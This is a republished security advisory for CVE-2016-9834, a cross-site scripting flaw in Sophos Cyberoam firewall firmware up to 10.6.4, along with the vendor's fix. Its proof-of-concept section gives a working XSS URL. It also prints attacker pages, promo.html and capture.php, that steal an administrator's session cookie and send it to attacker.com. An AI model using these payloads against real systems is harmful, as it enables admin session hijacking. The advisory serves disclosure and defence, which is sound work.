Sophos Cyberoam Cross Site Scripting

🗓️ 07 Jun 2017 00:00:00Reported by Bhadresh PatelType

packetstorm🔗 packetstormsecurity.com👁 75 Views

Sophos Cyberoam firewall XSS vulnerability in LiveConnectionDetail.js

Reporter	Title	Published	Views	Family All 9
CNVD	Sophos Cyberoam Cross-Site Scripting Vulnerability	8 Jun 201700:00	–	cnvd
CVE	CVE-2016-9834	7 Jun 201712:00	–	cve
Cvelist	CVE-2016-9834	7 Jun 201712:00	–	cvelist
Exploit DB	Sophos Cyberoam - Cross-site scripting	25 May 201700:00	–	exploitdb
EUVD	EUVD-2016-10634	7 Oct 202500:30	–	euvd
exploitpack	Sophos Cyberoam - Cross-site scripting	25 May 201700:00	–	exploitpack
NVD	CVE-2016-9834	7 Jun 201712:29	–	nvd
OpenVAS	Sophos Cyberoam UTM/NGFW XSS Vulnerability (Jun 2017)	12 Jun 201700:00	–	openvas
Prion	Cross site scripting	7 Jun 201712:29	–	prion

`Title:  
====  
  
Sophos Cyberoam Cross-site scripting (XSS) vulnerability  
  
Credit:  
======  
  
Name: Bhadresh Patel  
  
  
Date:  
====  
  
25/05/2017 (dd/mm/yyyy)  
  
Vendor:  
======  
  
More than 100 million users in 150 countries rely on Sophos to offer end-to-end protection against complex threats and data loss. Sophos is committed to providing complete, enterprise-grade security solutions that are simple to deploy, manage and use, and deliver one of the industry's lowest total cost of ownership. Sophos offers award-winning security solutions covering endpoint, mobile, server, encryption, web, email, Wi-Fi, and UTM/next-generation firewall, all backed by SophosLabs -- a global threat analysis center which provides real-time cloud-enabled security intelligence. Sophos is headquartered in Oxford, UK.  
  
Vulnerable Product:  
==============  
  
Sophos Cyberoam Firewall  
  
Cyberoam Next-Generation Firewalls are based on CyberoamOS an intelligent and powerful firmware that offers next-generation security features include inline application inspection and control, website filtering, HTTPS inspection, Intrusion Prevention System, VPN (IPSec and SSL) and QoS/bandwidth management. Additional security features like Web Application Firewall, Gateway Anti-Virus, Gateway Anti-Spam are also available.  
  
Customer Product link: https://www.cyberoam.com  
  
  
Abstract:  
=======  
  
Cross-site scripting (XSS) vulnerability in Sophos Cyberoam firewall enables and attackers to execute scripts in a victims browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the users browser using malware, etc.  
  
  
  
Affected Software Version:  
=============  
  
<= Firmware Version 10.6.4  
  
  
Vendor Response  
=============  
  
Sophos is committed to working with the security community in identifying, remediating and communicating security issues in our products. Customers are advised to upgrade their Cyberoam OS to v.10.6.5, which addresses this issue.  
  
Exploitation-Technique:  
===================  
  
Remote  
  
  
Severity Rating (CVSS):  
===================  
  
6.9 (Medium) (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N)  
  
  
CVE ID:  
=======  
  
CVE-2016-9834  
  
Details:  
=======  
This vulnerability allows remote attackers to execute arbitrary client side script in the active users browser session, when logged into the Cyberoam firewall. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  
  
The specific flaw exists within the handling of request to LiveConnectionDetail.jsp application. GET parameters applicationname and username are improperly sanitized allowing an attacker to inject arbitrary javascript into the page. This can be abused by an attacker to perform a cross-site scripting attack on the user.  
  
  
Vulnerable module/page/application: /corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp  
  
Vulnerable parameters: applicationname and username  
  
  
  
PoC  
=======  
  
http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449";alert(document.cookie)//181&username=NA  
  
PoC Video  
=========  
  
https://www.youtube.com/watch?v=NmLPL2TYPcg  
  
Real world scenario  
  
1) Victim (Admin) login to the Sophos Cyberoam web console  
2) Sophos Cyberoam FW is on a latest version  
3) record.txt is empty on attacker page  
4) Victim (Admin) visits attacker URL/page  
  
http://www.attacker.com/promo.html  
  
5) XSS successful and attacker captured cookie in record.txt  
  
  
  
-------------------------- Source code (promo.html) ----------------------------------  
<html>  
<head>  
<script>  
window.location="http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449\";document.location='http://www.attacker.com/capture.php?content='.concat(escape(document.cookie));//181&username=NA"  
</script>  
</body>  
</html>  
-------------------------- Source code (capture.php) ----------------------------------  
  
<?php  
file_put_contents('record.txt', $_GET['content']);  
echo "<HTML><body><script>window.location=\"http://192.168.30.30/corporate/webpages/index.jsp\"</script></body></HTML>"  
?>  
  
  
  
Credits:  
=======  
  
Bhadresh Patel  
`

07 Jun 2017 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.00118